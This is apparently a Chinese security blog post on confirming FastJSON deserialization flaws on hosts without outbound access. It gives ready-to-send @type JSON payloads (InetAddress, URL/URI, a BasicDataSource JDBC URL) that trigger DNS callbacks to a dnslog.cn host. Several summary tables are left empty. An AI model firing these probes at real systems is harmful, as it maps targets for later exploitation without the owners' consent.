🧨 FastJSON “不出网验证” 全解析
从一次普通的 POST 请求,如何判断目标后端用了 FastJSON?还能不能打?是否开启了 AutoType?今天给你掰开揉碎讲清楚:如何在“目标无法访问公网”的条件下判断 FastJSON 是否存在可利用的反序列化漏洞。
🎯 什么是“不出网验证”?
在企业内网或高安全环境中,很多服务并不能访问公网 HTTP 接口。 但你又想知道:
-
🎯 是否使用了 FastJSON? -
🎯 是否未关闭 AutoType? -
🎯 是否有反序列化触发点?
于是,我们引入了“不出网验证”——不依赖 HTTP/RCE/回显,仅通过 DNS 或局部副作用判断漏洞是否存在。
不出网的详细解释见文章《企业架构中最容易误解的概念:DMZ 不出网 ≠ 无法被访问》
🧪 一、利用 InetAddress 触发 DNS 请求
🚀 Payload
{
"@type": "java.net.InetAddress",
"val": "geekserver.top.dnslog.cn"
}
🧠 利用原理
-
FastJSON 会反射加载 InetAddress
类; -
调用 InetAddress.getByName()
,尝试解析域名; -
触发一次 DNS 请求 → 发送到你的 dnslog.cn
; -
无需出网访问 HTTP,即可知道是否存在反序列化点。
✅ 特点
-
DNS 请求穿透能力强; -
只需一个 POST 请求,黑盒即可测试; -
绝大多数环境都能触发,成功率高。
🔍 二、利用 URL/URI 触发域名解析
🚀 Payload
{
"@type": "java.net.URL",
"val": "http://geekserver.top.dnslog.cn"
}
或:
{
"@type": "java.net.URI",
"val": "http://geekserver.top.dnslog.cn"
}
🧠 利用原理
这两种类在被实例化时,也可能触发域名解析或网络连接尝试(取决于后续是否使用它们),用于探测一些 懒加载网络类 的反序列化行为。
✅ 特点
-
可能无法直接触发 DNS 请求,但可用于组合利用; -
在某些 Web 服务组件中效果更佳(如 URL 连接池、资源读取等)。
🎯 三、利用 Locale/TimeZone 等类
🚀 Payload
{
"@type": "java.util.Locale",
"val": "en_US"
}
或:
{
"@type": "java.util.TimeZone",
"val": "Asia/Shanghai"
}
🧠 利用原理
-
这些类被实例化时会访问系统缓存或资源表; -
在某些框架下可能留下日志副作用、响应差异、内存行为变化; -
可利用日志侧信道进一步识别。
✅ 特点
-
无需 DNS/HTTP,适合日志侧信道探测; -
需配合白盒使用。
💣 四、内存探针类进行漏洞链判断
🚀 Payload
{
"@type": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://your-uuid.dnslog.cn/db"
}
🧠 原理说明:
-
在某些 JDBC 类被反序列化后,会尝试发起数据库连接; -
可用于判断是否存在远程加载/初始化行为。
⚠️ 注意:
FastJSON 新版本中大部分“危险类”被加入黑名单或需要显式白名单,建议配合版本判断进行定向利用。
🔍 探测流程
|
|
|
---|---|---|
|
@type + DNS 字段 |
|
|
|
|
|
|
|
🚨 快速判断技巧
|
|
---|---|
|
|
AutoType is not supported |
|
|
|
✅ 总结
|
|
|
---|---|---|
InetAddress.getByName |
|
|
URL/URI |
|
|
Locale/TimeZone |
|
|
JdbcRowSetImpl
|
|
|
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论